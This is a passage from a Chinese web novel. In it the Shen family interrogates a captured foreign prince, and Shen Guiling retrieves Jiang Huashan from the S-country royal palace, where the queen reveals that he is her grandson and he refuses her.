沈归灵慢条斯理走上前,面无表情,“藏哪了?” 白密顿时吓得五官抽搐,脑子里忽然闪过沈归灵射杀白冽时的眼神。 他咽了咽口水,“拉……拉缅。” …… 第493章 女王的邀请 那么诡计多端的人就这么招了? 审讯室的气氛一时安静到了极点。 傅绥尔和沈眠枝对视了一眼,显然是不太相信。 “拉缅?” 沈归灵低垂着眉梢,深邃的眼底闪过逆光,“拉缅如今正在暴乱,你把她送去拉缅了?” “!” 有杀气。 白密莫名头皮发麻,咽了咽嗓子,“当初就是看中它暴乱才去的,防……” 他顿了顿,声音如蚊,“防的就是你们。” “什么?!”沈清予听说这狗东西把姜花衫丢去了战乱区,顿时怒不可遏,“我看你小子是真找死?!” 白密皱眉,横睨了沈清予一眼,油盐不进,“别假把式,有种来真的了,不敢动手你就是我孙子!” 没等沈清予出手,沈归灵一把拽着锁链,对着他的鼻子狠狠砸去。 “啊嗯!” 白密闷哼了一声,身体疼到微微抽搐。 沈归灵丝毫没有停手的意思,拽着锁链准备继续打。 白密吓得脸色发白,立马认怂,“别打别打!我在拉缅有私产,姜花衫在我的军营里不会有危险的,真的!骗你我是你孙子。” 沈兰晞蹙眉,冷声道,“私产?拉缅现如今被武装势力分裂,你说的私产是军队?” 两管鼻血止不住地往外流,白密闭了闭眼,原本不想搭理,但看沈归灵脸色不善,立马接话,“没错,我养了一万私兵,整个拉缅就属我的装备最好,所以放心吧,姜花衫绝对不会有危险。” 他一再强调这句不会有危险是因为他已经认清了,他的命就挂在姜花衫的身上。 此话一出,众人的脸色瞬间微妙起来。 S国的王室在外面养私兵,这事白家人知道吗? 白密生怕又被打,瞟了沈归灵一眼,小心翼翼,“我让侍卫长把她送去我的大本营了,既然都是误会,我再让人把她送回来就是了。” 多大的事,你别打我了。 沈归灵没有接话,低垂着眼审视他。 白密被他看得心里发毛,干巴巴,“我说的都是真话。” 不知道为什么,自从亲眼看见沈归灵炸船后,他现在每次看见他的眼睛总会有种莫名的敬畏感,就像他的祖父活过来一般。 白家人自小听着白普大帝的传奇长大,所以对这位力排众议实行女王制的大帝天生有种崇拜之情,邪了门的是,他的这份崇拜好像在一瞬间就转移到了沈归灵身上。 原本他之前的计划是把沈家人引去自己的大本营,然后再一一审问拿回白峥的机密档案,但现在节奏全乱了,不仅卑躬屈膝求饶还把自己最不能曝光的秘密说了出来。 片刻后,沈归灵从怀里拿出手机。 “号码。” 白密立马坐直身体,报了一串数字。 沈归灵飞快按下数字键。 “嘟——” 电话很快接通,侍卫长的声音格外镇定。 “殿下。” 沈归灵眉头微蹙,撩眼扫了白密一眼,这个侍卫长说的是A国话。 白密完全没有注意这种细节,开门见山,“坤帕,傅……姜花衫是不是已经到拉缅了?你现在把她送来内峡港口。” 他现在所有的心思都在姜花衫身上,只要姜花衫回来,他的悲剧就可以结束了。 电话那头的男人沉默了片刻,“殿下,姜小姐不在拉缅。” “!” 此话一出,在场所有人的目光都带了几分杀气。 白密冷汗湿襟,故作淡定,“你们还没有登岛?拉缅又发生暴动了?” 侍卫长,“……姜小姐现在在王都。” “……”白密脸色阴沉,“坤帕,连你也出卖了我?” 侍卫长,“殿下您误会了,我从来都没有忠于您。” “……”白密被气笑了,“你个阴损瘪犊子的狗逼玩意儿,难怪在船上的时候不告诉我真相,原来早就起了叛逆之心,坤帕,你以为投靠他们你就万全了吗?你给我等着,等……yUe!” 还没等他说完,沈归灵忽然掐住他的脖子,把电话拿到跟前。 “姜花衫在王都?” 话音刚落,电话那边传来一声异响,似乎是器皿碎裂的声音。 沈归灵眼睑微动,又继续问道,“你的主人是谁?” 从听见侍卫开口的第一句话,他就起了疑。看样子对方明显知道白密在接受审讯,故意说A国话,分明是说给他们听的。 白密因被锁喉,脸色涨成了猪肝色,气急败坏瞪着沈归灵。 片刻后,电话那边的人终于有了回应。 “沈少爷,姜小姐现今正在白王宫做客,您要是不放心,大可亲自来接她回家。” 这声音! 白密原本愤怒的眼神瞬间僵滞。 沈归灵看着被挂断的电话,思忖片刻,泄了指尖的力,略带警惕打量白密,“这个是谁。” 后面说的声音换成了女音,声音听上去已经不再年轻,再看白密现在的反应,他料定留姜花衫在王都的这个人身份一定不简单。 白密清了清嗓子,声音暗哑,“帕塔妮,祖母身边的侍女。” 祖母? 在场众人脸色微变,白家那位传奇女王。 别说沈家人,就连白密自己都不敢相信,他的祖母已经很久不问政事,如今S国很多决策都有白冽和他的母亲代劳,按理这种事是不会惊动她的。 难怪坤帕不听他的指使,王庭侍卫长忠于皇室,尤其忠心于君主。 沈眠枝略有不解,抬眸环顾众人,“女王这是算是邀请阿灵哥一个人去王都接人吗?” 傅绥尔,“阿灵哥俘虏了S国两位王室,还夺了王室第一军团的番号,女王此举不会是想趁机报复吧?阿灵哥,你别去,王宫里肯定有埋伏。” 白密不满有人诋毁自己的祖母,反声怒呛,“你们未免也太把自己当回事了,就凭你们,还不足以让我曾祖母为您们动什么心思。” 嘴上虽然这么说,但其实他心里已经也起了疑。 女最近连国事都不过问了,为什么突然对沈家一个养女感兴趣? 忽然,他灵光一闪,想到什么,惊吓过度看向沈归灵。 不会吧?! 沈兰晞扫了白密一眼,冷静道,“现在起码确定了衫衫暂时安全,其余的事,等爷爷消息。” 众人点头,于所有人而言,姜花衫的安全才是最重要的。 沈归灵想了想,最终什么都没有说,跟随众人一起出了审讯室。 待铁门紧紧关闭,白密挂着两管干涸鼻血的脸上格外凝重,莫名地,他脑海中浮现悬挂在正殿之上的白普大帝的肖像画,那双天潢贵胄的瑞凤眼仿佛和火光里的死神祖宗重合了。 渐渐地,他的眼里掀起惊涛骇浪。 …… 第494章 还是我去吧 一群人从审讯室出来,便看见南湾军舰总司令穆上将在门外等候。 沈兰晞、沈归灵、沈清予立马上前见礼。 “长官。” 穆明荀是南湾海域最高指挥官,也是A国最年轻的五星上将,三人都很清楚,他此刻出现在这,定然是为了凌晨内峡交战一事。 果不其然,穆明荀回以军礼,“我受军总区指令,接送白冽、白密二人回南湾。” 事实上,他已经来了有一会儿的,知道沈家人在里面,故意预留了审讯时间。 不仅如此,原本上级指令,本没有必要向下级解释,穆明荀此举可算是给足了沈家面子。 沈兰晞颔首,进退有度,“多谢长官。” 双方人马错身经过时,穆明荀重重拍了拍沈归灵的胳膊,毫不掩饰对他的欣赏,“干的不错。” 沈归灵脚步微顿,侧头淡笑,“多谢长官。” 出了审讯室,傅绥尔和沈眠枝立马一左一右把沈归灵围了起来,如今确认姜花衫暂时安全,两人也从紧绷状态恢复如初。 “阿灵哥,你这次实在是太帅了!听说苍鹰军旗已经在白王宫的军区部挂了整整三百年,你可真是给我们沈家长脸。” 消耗了一夜,沈归灵的体力也已经到达了上限,神态略有些疲惫,却已经耐着性子迎合,“侥幸罢了。” 侥幸?! 沈兰晞和沈清予不约而同停下了脚步,意味不明打量这个沈归灵。 但是规划好了三条追捕路线,偏偏白密就掉进了沈归灵的陷阱,若生擒白密勉强还算是运气和实力结合,那俘虏白冽,拿下苍鹰王旗,就是绝对的实力。 因为原本在沈兰晞的计划里,白冽应该是由他阻断的,但谁能想到,白冽身为S国军区总司令,放着好好的国门不守,竟然迂回去了侧门。更让人意想不到的是,沈归灵的应对策略竟调整的如此之快。 内峡那一战,轰动整个南湾海域,现如今南湾舰队人人都在传沈家少爷是战神降临。 平心而论,若易地而处,他们未必能取得沈归灵这样的成绩。 从穆明荀接管内峡后,沈家众人便乘船回到了南湾。 沈归灵因为劳累过度,被强制要求必须卸下所有庶务安心休养。 沈庄得知姜花衫被白朱拉扣押在白王宫,主动致电白朱拉,希望能和谈,但白朱拉这次的态度十分坚决,点名指姓必须要那个多了苍鹰王旗的年轻人亲自来接。 沈庄也没想到事情会变得如此棘手,白朱拉若坚持不松口,姜花衫归期无期,最下策的方法就是去白王宫抢人,但王宫守卫森严,要在偌大的宫殿里找到姜花衫也绝非意识。 至于应下白朱拉的要求,沈庄从未考虑过。 虽然他偏爱姜花衫,但他也不至于置沈归灵的生死于不顾,内峡一战,沈归灵以一己之力让白家王权威严扫地,白家人锱铢必较,这等深仇大恨,沈归灵要是去了王都只怕会被他们活剥了皮。 双方僵持不下,交涉五日后,姜花衫回国的进度一点儿都没有推进。 沈庄意识到不能再拖,立马召集家中主力商讨去王都抢人的对策。 几经商讨,最终决定由沈让带领沈家暗堂潜伏S国执行任务。 沈谦原本还担心老爷子会为了姜花衫舍弃沈归灵,见状立马举双手赞成。 内峡一战,沈归灵在A国算是彻底出名了,在A国向来是军政分离,以前军区那些老枪杆都看不上他,现在遇上了还会主动打招呼,言语间都是对沈归灵的赞赏。由此,沈谦愈发感觉到沈归灵的可塑性,对他也越发看重,在沈归灵休养期间嘘寒问暖无微不至,简直像换了一个人。 沈清予,“爷爷,我也……” 还没等他开口,沈渊眼皮抽搐,猛地拉了沈清予一把。 沈清予抬眸斜睨了沈渊一眼,继续道,“爷爷,我也去。” 沈渊气结,压着怒火,“去什么去?你当那是小孩子过家家,不准去添乱!” 沈清予权当没听见,眼神执着看向沈庄,“爷爷,多个人多个机会,我跟五叔去。” 沈兰晞犹豫片刻,抬眸看向沈庄,“爷爷,我也跟他们一块去。” 沈谦心中暗喜,白王宫可不好闯,弄不好可是会出人命的,沈兰晞要死在白家手里,对二房来说可是天大的喜事。 沈庄拄着拐杖,脸色严肃,“胡闹!你们以为我为什么不准阿灵去?这事就这么定了。” 沈眠枝半垂眼睑,眸光幽深看向身侧的父亲。 所有人都理所当然会被爷爷权衡规避风险,可是她的父亲却不在权衡范围之内。 “爷爷……” 这时,书房的大门被人从外面推开。 沈归灵大步入厅,眸光如清润,“爷爷,还是我去吧。” 第495章 你全家给我提鞋都不配 “啊~~~” 姜花衫趴在窗台,懒懒打了个哈欠。 从被接入白王宫后,她每天只被限制在居住的偏殿附近自由活动,一开始她还兴致勃勃出去遛弯,因为白家宫殿算是她现在开启的最远地图,她对这个神秘的白氏家族还是很感兴趣。 但走了一天,她就放弃了,因为走了一个小时都没有走出囚禁的宫殿,这对她一个懒人来说,简直就是比死还难受的酷刑。 想通以后,姜花衫直接摆烂,每天吃完饭不是趴在窗台看大象摘香蕉,就是闷头睡觉。 就这样,一个星期过去了。 “怎么到了白家剧情就这么平淡了,这也太无聊的,来个人宫斗打发打发时间吧。” 她一边伸懒腰一边喃喃自语,负责监视的侍女听不懂A国话,提供不了任何情绪价值,像个木雕似的守在一旁。 “哞~~~~” 话刚说完,殿外突然响起一声高亢的象鸣。 姜花衫顿时来了精神,伸着脖子探向窗外。 只见一头巨型灰象前匍跪地,侍女们井然上前,搀扶着一个女人从象轿上走了下来。 那女人穿着黑色的宫廷礼裙,眉宇间骄矜带着戾气,一看就是来者不善。 姜花衫顿时来了兴趣,转身跳下窗台,顺势坐回躺椅。 侍女上前往窗外看了一眼,脸色骤变赶紧跑了出去。 白迪雅扇弄着手里的黑色蕾丝扇面,四下环顾了一番,语调轻慢,“那个沈家的小贱人就被关在这?” “是。” “哼,陛下真是仁慈过头了,这小贱人打伤了蒂娜,沈家人又如此不把我们王室放在眼里,要我说就该刮了小贱人的皮送回沈家,看他们还能得意?” 白迪雅来势汹汹,带着一群人刚进主厅,负责看守的侍女快步走了出门,垂首行礼,“夫人,陛下交待任何人不可打扰贵客。” “一个小贱人还当得起贵客?” 白迪雅轻蔑一笑,朝身后的侍女使了个眼色,一群人上前直接捂着小侍女的嘴拖了出去。 “去,把里面那个小贱人带过来。” “是。”亲信应声,带着两个帮手快步走进内屋。 姜花衫早就听见了外面的动静,不慌不忙拿了根香蕉。 “砰——” 房门被暴力踹开,三人气势汹汹杀进屋,待看见她还悠哉躺在躺椅上,先是一愣,随即冷声呵斥,“起来,我们殿下要见你。” 姜花衫佯装听不懂,一脸无辜看着她们。 亲信见状,上前直接拽着她的胳膊起身,动作粗鲁往门口推了一把。 好汉不吃眼前亏,姜花衫并未计较,乖乖跟着走出房间。 白迪雅斜坐在主位之上,盯着姜花衫上下打量。 难怪蒂娜一听说这小贱人在王宫,连夜打电话让她务必要弄花小贱人的人,这容貌,就算是蒂娜也相形见绌,尤其这孩子还没完全长大,若全力盛开,只怕这美貌能成为杀人利器。 真是惹人讨厌的一张脸。 白迪雅懒懒扇弄黑扇,语调轻慢,“就是你用鞭子打伤了我的女儿。” 原来是白蒂娜的母亲,难怪第一个找上门。 姜花衫故作不明耸了耸肩。 亲信见状立马上前解释,“殿下,她不会S语。” 白迪雅皱眉,朝身后侍女使了个眼色。 侍女上前,“殿下。” 白迪雅,“我问你,是不是你和周家那小子一起串通好了故意谋害我女儿?” 侍女一字一句翻译。 姜花衫目光逡巡了一圈,最后落在白迪雅脸上,“不是,是你女儿先犯贱,视人命如草芥,不仅公然挑衅A国律法还妄图利用自己公主的身份逃脱刑罚,你就是白蒂娜的母亲?正好,我还想问你,养出一个如此上不了台面的祸害你身为母亲,惭不惭愧?” 这话一出,侍女吓得腿脚发软,像看疯子一样看着姜花衫。 白迪雅听不懂A国语言,转头看向翻译,“她说什么?” 侍女勉强稳住心神,不能直译,以二公主的性格,直译只怕连命都保不住。侍女咽了咽嗓子,小心道,“她说,不是她。” 姜花衫垂眸,掩住笑意。 果然,国民所谓的忠诚还是有限度的。 白迪雅皱眉,“她刚刚说了那么多,就三个字?” 侍女警铃大作,尽量挑衅能说的翻译,“她说是蒂娜殿下有错在先,所以才会被A国的法律制裁。” “有错在先?”白迪雅眯眼,一把收回扇子,冷笑,“你个小贱人有什么资格指责我的孩子,你给她提鞋都不配。” 侍女想了想,原句翻译。 姜花衫面带微笑,纯良无害,“你个老贱人!你们全家给我提鞋都不配。” “……”侍女吓得人都要裂开了,支支吾吾,“她说,她现在已经知道错了,请殿下宽恕她。” “宽恕?”白迪雅挑眉,一副高高在上的得意模样,“现在知道怕了?跪下。” 侍女一脸防备看向姜花衫,“跪下。” 为免姜花衫继续作妖连累了自己,侍女立马补充,“你若不想死就照做。” 姜花衫不由多看了侍女一眼,想了想,扑通跪了下去。 白迪雅抬了抬手,亲信会意拿出一把银制匕首丢在地上。 “你是女王的贵客,我不便为难你,只要你拿着这匕首往脸上划两刀,蒂娜的事便暂时不追究。不然,这刀划的就不是脸,而是你细嫩的脖子。” 侍女脸色微变,再次原句翻译。 姜花衫脸色霎时苍白,有些惶恐看着白迪雅,见她脸色不善,最终绝望捡起地上的匕首。 她缓缓抬手,举着尖刃指着自己的侧脸。 眼看就要见血。 突然,她从地上猛然窜起,以迅雷不及掩耳之势窜上主座,翻身上榻一把勒住白雅迪的脖子,尖刀反刺,狠狠扎进白迪雅的肩膀,见起到威慑作用立马拔刀抵住她的脖颈。 “别过来,再过来我就杀了她!” 这句话掷地有声,用的是极为纯正的S语。 …… 第496章 光影里的肖像画 S语? 众人回过神后,瞬间乱成了一锅粥。 尤其是刚刚同声翻译的侍女,简直想一头撞墙。 在此之前,白迪雅完全没有把姜花衫放在眼里,现在肩膀的鲜血和麻痹的疼痛不断在提醒她,她刚刚的行为有多愚昧。这小贱人会S语,却一直装疯卖傻,分明是在戏耍她。 白迪雅勉强稳住心神,“在王宫挟持王室,你简直是在找死。” 姜花衫冷笑,对着她的脖子割了一刀,“我死不死犹未可知,但你信不信,我能让你马上死?” “啊!” 白迪雅吓得花容失色,天知道刚刚那一刀割下来的,她差点心跳都吓停了。 “你别冲动,不要伤害殿下。” 王室规矩,但凡入宫携带武器,连公主侍卫都只能在宫外等候,也正是因此才给了姜花衫这个反杀的机会,侍女们手足无措,急得在原地打转。 亲信见僵持不下,赶紧退出了内殿找救兵。 白迪雅已经看出姜花衫是个疯子,不敢再刺激她,小声问道,“你想干什么?你以为挟持我就能逃回A国了吗?” 姜花衫懒得搭理。 她又不是没脑子,当然知道光凭她自己是不可能逃出王宫的,闹这么大,不过是想见那位正主。 那位女王掏空心思想把沈归灵带回S国一定有很重要的原因,她现在可是重要的鱼饵,目的没有达成,女王怎么会坐视不理? 果不其然。 还没等白迪雅的亲信走出偏殿,坤帕就带着一群侍卫冲进了内厅。 白迪雅见状,嘶声大喊,“坤帕,杀了这个贱人!” 坤帕神色淡然,波澜不惊走上前,颇有礼貌,“姜小姐,陛下有请。” 白迪雅怔然,一时有些反应不及。 从白朱拉淡出政圈后,除了王室成员和几个年老的元帅,她已经不轻易见外人了,此刻愿意接见姜花衫,已经是无上的荣耀了。 姜花衫看了坤帕一眼,斟酌片刻片刻松开了白迪雅,跳下榻小跑到坤帕身后。 白雅迪勃然大怒,“抓住她!” 坤帕上前挡在姜花衫之前,“殿下,这是君令。” 白迪雅脸色难看,却也不敢贸然呛声,在S国,白朱拉拥有至高无上的权利。 坤帕恭敬鞠躬,回头看了姜花衫一眼,也算这位姜小姐走运。 不管什么情况,挟持王室都是死罪,但偏偏就在刚刚沈家来了消息,说沈归灵不日便会亲自来王都接姜花衫回家,这可把女王高兴坏了,唯恐再出岔子,这才宽恕了姜花衫的罪行。 “刀。” 姜花衫心照不宣,转手把刀扔了出去。 “跟上。” 姜花衫点头,临出大殿时忽然想到什么,歪着头朝白迪雅招了招手,那模样说不出的狂妄。 贱人! 白迪雅眸底掠过暗芒,一瞬不瞬看着她。 让姜花衫失望的是,跟随坤帕出了偏殿,她并没有如愿见到白朱拉,那位女王似乎对她一点都没有兴趣,她囚禁的地方不过是从一处宫殿换到了另一处宫殿。 唯一改变的是,这次宫殿外都是巡逻的侍卫,而她也被剥夺了遛弯的权利。 一次宫斗,她变得更无聊的。 不过,也不是完全没有收获。 * 三日后。 沈让护送沈归灵到达王都,白家金卫亲自上门接沈归灵入宫,原本沈让想跟着,邀请函里只有沈归灵一个人的名字便只能作罢。 金卫带着沈归灵从正宫门入殿,四头白象身披彩衣金饰跪迎在玉殿丹墀前。 沈归灵立在大殿之外,眉眼深邃望着眼前的一切。 帕塔妮早早在殿外恭迎,望着沈归灵的面容,脸色恍惚不能自已,难怪陛下一眼就能认出小殿下,龙章凤姿贵胄天成,像极了年轻鼎盛时期的白普大帝。 “沈少爷,请入殿。” 她快步跑下玉阶,态度恭敬为沈归灵引路。 沈归灵侧头,目光打量了片刻,若无其事拾阶而上。 帕塔妮快步上前,推开金殿大门。 主殿分前殿和后殿,前殿是君王会见重要客人的接待厅。 帕塔妮将沈归灵领至前厅,鞠躬行礼,“沈少爷稍坐,我们这就去请姜小姐。” 说罢,不等沈归灵回应转身出了宫殿。 沈归灵处变不惊,沿着光影往主厅走去。 忽然,他脚步一顿,深邃的眼眸荡起层层涟漪。 璀璨的光影落在一幅巨大的金框油画上,画像上那人手持君王权杖,目光睥睨目空一切。 * 第497章 蓄意谋杀 巨大的黄金相框就悬挂在双螺旋黄金楼梯的转台上,所有步入主厅的贵客抬眼就能看见。 沈归灵沉默片刻,果断收回目光,转身落座。 宫殿华美,无处不彰显着权利与富贵,但他眼中好似看不见这些,就连眸底最初的颤动也在此刻彻底归于平静。 帕塔妮隔着躲在角落,将这一切都看得清清楚楚,小殿下的反应实在是出乎意料,她忽然有些不安,思忖过后退出了正殿。 坤帕正在殿外守候。 帕塔妮低声吩咐道,“你现在可以去请那位姜小姐了。” “是。” 坤帕应声,转头向内殿方向走去。 * 偏殿。 虽然已经入秋,但S国却依旧炎热,姜花衫闲来无事便躺在芭蕉亭里乘凉。 这时,侍女端着一盆冰镇水果走了进来。 姜花衫听见动静,随意看了一眼又继续闭目养神。 虽然被囚禁限制了自由,但不得不说伙食还是很好的,餐餐都有饭后水果,几天下来她都胖了。 侍女跪坐在躺椅便,低头摆弄着果盘,起身时小心看了姜花衫一眼,见她完全没有防备,眼眸微沉,转瞬从袖口抽出短刃对着姜花衫的脖子刺了过去。 眼看尖刀就要划破血管,姜花衫忽然睁眼,徒手握住近在眼前的匕首。 侍女愣了愣,反应过来迅速抽刀,抬手再刺。 霎时,掌心传来一阵麻木的刺痛,白皙的皓腕蜿蜒着触目惊心的血痕。 姜花衫顾不得疼痛,抬手扣住侍女的双手。 这一刀再次落空,两人陷入了力气之争。 侍女咬紧牙关,眼角微微抽搐,用力推进匕首。 姜花衫自觉力气不足,抬腿对着女人的肚子踹去,这一脚下了死劲,女人惨叫一声栽倒在地。 趁着这几秒空隙,姜花衫转身跳下躺椅,果断跑出了芭蕉亭。 侍女眼里杀机翻涌,爬起身举刀追了出去。 姜花衫最先想到的是向殿外的侍卫求助,可当她跑到殿门时,大门已经紧紧关闭。 正在她准备回头另寻办法,忽然看见门缝的光影里有黑影在晃动。 她当即用力拍打宫门,用S语大喊,“快开门,有人要杀我!!” 门外的人影依旧晃动,却丝毫没有开门的意思。 姜花衫当即明白这是有人想困杀她。 她回头看向内殿,此时虎背熊腰的侍女已经举着匕首杀了过来。 姜花衫靠着宫门往后退,不时大喊,“救命,你别过来,别过来!!” 侍女见她害怕,举着刀迎面扑了过来,姜花衫看中时机蹲身从侍女胳膊下躲了过去,尖叫着往寝殿跑去。 “啊啊啊啊,好恐怖!好吓人!救命啊!!” 侍女被戏弄得耐心全无,怒不可遏又跟着追进了寝殿。 “啊啊啊!” 姜花衫跑进房间,四处看了看着急忙慌躲在门口。 侍女站在门外观望了许久,试探性往前跨了一步,发现没事又继续探进。 等侍女完全走进房间,身后传来砰的一声响动,姜花衫靠着门板拉下反扣,此时的她完全没有方才的慌乱,面无表情审视着眼前拿刀的女人。 “谁派你来的,白迪雅?还是白朱拉?” 侍女皱眉,眼里淬着毒火,在S国不能只呼皇室名讳,更不能对女王不敬,她慢慢收拢握刀的五指,一步一步靠近姜花衫。 姜花衫冷笑,对着迎面而来的女人撒了一把细土,这是她刚刚逃跑时顺便抓了。 侍女顿时眼前一黑,等反应过来姜花衫已经不在面前了,她回身寻找,突然脑门哐当一下挨了一重击。 “砰——” 花瓶碎裂的声音异常刺耳。 侍女勉强稳住身体,用尽最后一丝力扑身抱住姜花衫的腰,另一手蓄势待发只捅腰身。姜花衫见状,拿头对着侍女的伤口用力撞去,霎时,碎裂、混沌、窒息、错乱的感觉从蔓延全身。 所幸,这一招效果很好。 伤口二次撞裂,侍女呜咽了一声,胸腔震动鬼哭狼嚎,但她还是不死心,拿着刀尖抵着她的脊柱。 姜花衫没有犹豫,再次用头了上去,两人大脑同时嗡了一下栽倒在地。 落地时,花瓶到底碎瓣轻轻划破了她的侧脸,姜花衫瞬间惊醒,翻身向上,将侍女压在花瓶碎片之上。 “啊啊啊!!” 侍女此时已经精疲力尽神志不清,连刀柄都握不住滑落在地,姜花衫毫不犹豫抢过刀,高举双臂,对着侍女的眉心重重刺去。 “……” * 坤帕赶到偏殿时,见宫门紧闭,不觉起了疑。 “怎么回事?” 负责看守的侍卫低着头主动开门让路。 “长官,请。” 坤帕压下心中的疑惑,大步入殿,闯过回廊见芭蕉亭一地狼狈,他迟疑片刻转头看向紧闭的房门。 血腥味。 坤帕一只手压住枪柄,一只手抵着门页,推了推没有反应,他立马抬脚踹开。 “砰——” 房门撞开,刺鼻的血腥味扑面而来。 距离房门几步开外躺着一个侍女,侍女身下的血渍已经干了一半。 坤帕目光怔然,难以置信看着坐在窗台边包扎伤口的姜花衫,“你杀了她?” 姜花衫摇头,“还没刺下去她就晕了。” 说罢,又拿刀割了一块窗帘布对着脑袋的伤口比划。 “……”坤帕从未见过这样的女子,一时间不知该说什么。 这个侍女他认识,是二公主身边的人,若是现在他还不明白为什么门口的侍卫等着他来才开门,这侍卫长就白当了。 姜花衫对着镜子扎了个蝴蝶结,漫不经心,“你来做什么?你们女王又有什么新指示?” 坤帕,“沈家少爷来了,女王请您去主殿。” 姜花衫指尖顿住,转头看着他,“沈归灵来了?” 坤帕点头,“是。” 姜花衫眼珠转了转,毫不犹豫拆了身上的包扎,“那还等什么?赶紧啊!” …… 第498章 归家,执子之手 主殿二楼。 白朱拉坐在端坐在软榻上,通过楼梯的悬挂银镜隐约能看见沙发上的年轻人。 “陛下,您说小殿下在想什么?” 帕塔妮的声音极轻,生怕惊动了楼下的沈归灵。 白朱拉摇了摇头。 饶是她自诩看透人性也没有看透这孩子的心思。 他能以一己之力扭转内峡战局,兵不血刃俘虏白冽、白密,说明他就是有当狮王的潜质,既然通过了她的测试,白家的血脉当然越早接回来越好。 她阅读过沈归灵在A国的所有档案记录,知道他是个很聪明的孩子,他完美的人生履历中只有私生子的身世拿不出手,若是之前这孩子还不懂为什么她要费尽心思让他来王都,但此刻看见这幅画,他应该什么都懂了。 她想过沈归灵会情绪激动,质问她为何不早点找到他,要让他流落A国受尽苦楚;也想过这孩子会欣喜若狂主动表示归附白家,毕竟有白家助力,他能一跃而登至顶峰。 但她从来没有想过,他会表现的如此平静,平静到白朱拉甚至怀疑有些怀疑,沈归灵是不是还没猜到自己的身份? 沈归灵低垂着眉眼,不知在想什么? 这时,空旷的大殿传来一阵凌乱的脚步声。 “沈龟灵!” 沈归灵眼底的光迅速沉淀,顺应本能起身冲出了主殿。 二楼的白朱拉见状,表情错愣,不觉也跟着站了起来。 沈归灵刚走出主殿,便看见思念依旧的少女从光影中跑了出来,摆动的紫色长裙像梦幻的鱼尾在碎光里游荡。 沈归灵怔愣,还没等他反应过来,姜花衫小跑上前一把拉住他的手,“你怎么不干脆等我死了以后再来?!” “……”沈归灵眸光微沉,低头摊开她的掌心,伤口触目惊心半个手臂都血被染红了。 他看了许久才抬起头,目光落在姜花衫挂着血珠的侧脸上。 姜花衫左右看了看,拉着沈归灵往外走,“你来接我,我们是不是可以走了?快走吧,这里我一天都待不下去了。” 沈归灵点头,牵住她没受伤的左手,“走吧。” “砰——” 这时,主殿传来一声瓷器的碰撞声。 沈归灵脚步微顿。 白朱拉此时已经左侧楼梯走了下来,她站在白蒂大帝的肖像前一动不动看着主殿的出口,只要现在沈归灵回头,便能重新步入权利的殿堂。 姜花衫皱眉,回头望向主殿方向,“那里面还有人?” 沈归灵抬眸,紧紧牵住她的手,“不重要,走吧,回家。” 姜花衫愣了愣,片刻后冲他笑了笑,“回家。” 白朱拉慢慢走下楼梯,怔怔看着那道梦回无数次的背影,眼中隐隐泛起了潮湿的水汽。 殿门重新关上,落在肖像权杖的光影渐渐蒙上了阴翳,女王闭上眼,缓缓道,“他什么都知道,但他不认我这个祖母。” 这样的结果是她没想到的。 她从未想过,这世界上还有人能拒绝白家的荣耀。 * 沈归灵拉着姜花衫踏出主殿那刻,沉静已久的剧目电子音骤然在脑海里响起。 【叮——】 【警告!由于当前人物恶意篡改剧目,主线剧情已严重偏离,现已为您重新生成最新剧目篇章。】 【生成完毕——】 【原章节剧目——《归家,遗落的亲王之子》更改为《归家,执子之手》】 【为剧目世界载入当前剧情:第四百九十八章--归家,执子之手》】 【警告:当前主线剧情偏离65%。】 【警告:主线偏离90%,剧目世界将毁于一旦。】 【警告:当前主线偏离已经超过60%,为了保护剧目主线完整,从此章节开始剧目世界将开启书灵模式。】 姜花衫突然顿住,神色略有些僵滞。 遗落的亲王之子? S国近年来被封亲王的只有两位,以白冽的年纪是生不出沈归灵这么大的儿子的。 所以……沈归灵是父亲是白家的无冕之王,白冕?! 姜花衫抬眸,这才发现大殿玉阶丹墀前跪匍着四头身披彩衣金饰的白象。 在S国,白色的大象就是白家王室的象征,圣象跪迎这是对待本国王室成员才有礼节。 沈归灵受精英教育长大,不可能不知道S国的国礼。 姜花衫怔然,眸底的神色突然变得有些复杂。 沈归灵察觉到她的手在发抖,轻轻回握,温声安抚,“不用怕,马上就可以回家了。” 姜花衫点了点头,任由沈归灵拉着她一步一步往宫门走去。 他们是要回家了,但沈归灵的归家路却越来越远了。 * 沈让在宫门外翘首以待,远远看见沈归灵和姜花衫并肩走了出来,大惊失色的同时又满怀欣喜,原本他还担心白家人会为难沈归灵,没想到他真的把人带回来了。 “阿灵!衫衫!” 沈让大步上前,待看见姜花衫的状态,嘴角的笑容瞬间凝固,“衫衫,你这是怎么了?白家人弄的?” 姜花衫看了沈归灵一眼,点了点头却没有再说别的。 她一直以为沈归灵的母亲与白家有关,白朱拉费尽心思引沈归灵来S国就是看中他的能力,想策反他背叛沈家。所以她才想到用苦肉计挑拨沈归灵和白家的关系,想替沈家留住未来的顶梁支柱,但谁能想到,这家伙竟然压根不是沈家人,而是真真正正的白家人。 “岂有此理,白家人简直禽兽不如,连无辜妇孺都能下这么重的狠手。” 沈归灵温声打断,“五叔,我们先回去,衫衫的伤口还需要处理。” 沈让这才反应过来,连连点头,“直升机已经准备好了,幸好老爷子有先见之明,孟医生在队伍里。此地不宜久留,咱们上了飞机再处理。” 沈归灵点头。 沈让招来随行车辆,“上车。” 沈归灵拉开车门示意姜花衫上车,等她落座后关上车门,绕过另一边上车,直到车影完全抛下身后那座巍峨华丽的白色殿宇,他都没有回头看一眼。 姜花衫趴在车窗前,忽然想起沈归灵那句回家。 那个时候,他应该就知道他们身处的宫殿就是他的家了吧? 但他选择了她的家。 …… 第499章 喜欢的人只有一个 从S国到A国的航程大约三个小时。 只用了十五分钟,孟医生就处理完了姜花衫的伤口。 沈让心情大好,越看沈归灵越满意,“阿灵,你是怎么跟白家人交涉的?他们怎么这么轻易就放人了?” 姜花衫故作不经意,偷偷打量。 沈归灵眉眼温润,“我没有见到白家人,入了王宫他们让我等,见到衫衫后我们就直接出来了。” “就这么简单?” 沈让愣了愣,有些匪夷所思看向姜花衫。 姜花衫点头,“嗯,就这么简单。” 沈让嘶了一声,一脸嗔怪。 就这?! 老爷子交涉了这么久白朱拉都没有松口,还以为是铁了心想要沈归灵好看,没想到最后竟然雷声大雨点小。 不过,就算如此,沈让依旧对沈归灵钦佩不已。 二房真是走了狗屎运了,竟然让沈谦捡了这么个好儿子。 这次的家族危机,沈归灵表现出了超乎常人的智谋和勇气,要不是他,只怕他这个老家伙现在还在白王宫和白家人殊死搏斗。 念此,沈让面露欣赏轻轻拍了拍沈归灵的肩膀,“阿灵,你做得很好。” 